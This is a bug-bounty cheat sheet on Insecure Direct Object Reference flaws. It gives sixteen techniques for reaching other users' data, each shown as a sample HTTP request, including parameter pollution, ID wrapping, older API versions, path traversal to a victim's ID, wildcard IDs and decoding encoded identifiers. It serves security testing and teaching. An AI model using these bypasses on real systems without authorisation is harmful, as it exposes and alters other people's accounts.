AllAboutBugBounty/Insecure Direct Object References.md

Insecure Direct Object Reference (IDOR)

Introduction

IDOR stands for Insecure Direct Object Reference is a security vulnerability in which a user is able to access and make changes to data of any other user present in the system.

Where to find

• Usually it can be found in APIs.
• Check the HTTP request that contain unique ID, for example user_id or id

How to exploit

1. Add parameters onto the endpoints for example, if there was

GET /api/v1/getuser
[...]

Try this to bypass

GET /api/v1/getuser?id=1234
[...]

2. HTTP Parameter pollution

POST /api/get_profile
[...]
user_id=hacker_id&user_id=victim_id

3. Add .json to the endpoint

GET /v2/GetData/1234
[...]

Try this to bypass

GET /v2/GetData/1234.json
[...]

4. Test on outdated API Versions

POST /v2/GetData
[...]
id=123

Try this to bypass

POST /v1/GetData
[...]
id=123

5. Wrap the ID with an array.

POST /api/get_profile
[...]
{"user_id":111}

Try this to bypass

POST /api/get_profile
[...]
{"id":[111]}

6. Wrap the ID with a JSON object

POST /api/get_profile
[...]
{"user_id":111}

Try this to bypass

POST /api/get_profile
[...]
{"user_id":{"user_id":111}}

7. JSON Parameter Pollution

POST /api/get_profile
[...]
{"user_id":"hacker_id","user_id":"victim_id"}

8. Try decode the ID, if the ID encoded using md5,base64,etc

GET /GetUser/dmljdGltQG1haWwuY29t
[...]

dmljdGltQG1haWwuY29t => victim@mail.com

9. If the website using graphql, try to find IDOR using graphql!

GET /graphql
[...]

GET /graphql.php?query=
[...]

10. MFLAC (Missing Function Level Access Control)

GET /admin/profile

Try this to bypass

GET /ADMIN/profile

11. Try to swap uuid with number

GET /file?id=90ri2-xozifke-29ikedaw0d

Try this to bypass

GET /file?id=302

12. Change HTTP Method

GET /api/v1/users/profile/111

Try this to bypass

POST /api/v1/users/profile/111

13. Path traversal

GET /api/v1/users/profile/victim_id

Try this to bypass

GET /api/v1/users/profile/my_id/../victim_id

14. Change request content type

Content-type: application/xml

Try this to bypass

Content-type: application/json

15. Send wildcard instead of ID

GET /api/users/111

Try this to bypass

GET /api/users/*

16. Try google dorking to find new endpoint

References

• @swaysThinking and other medium writeup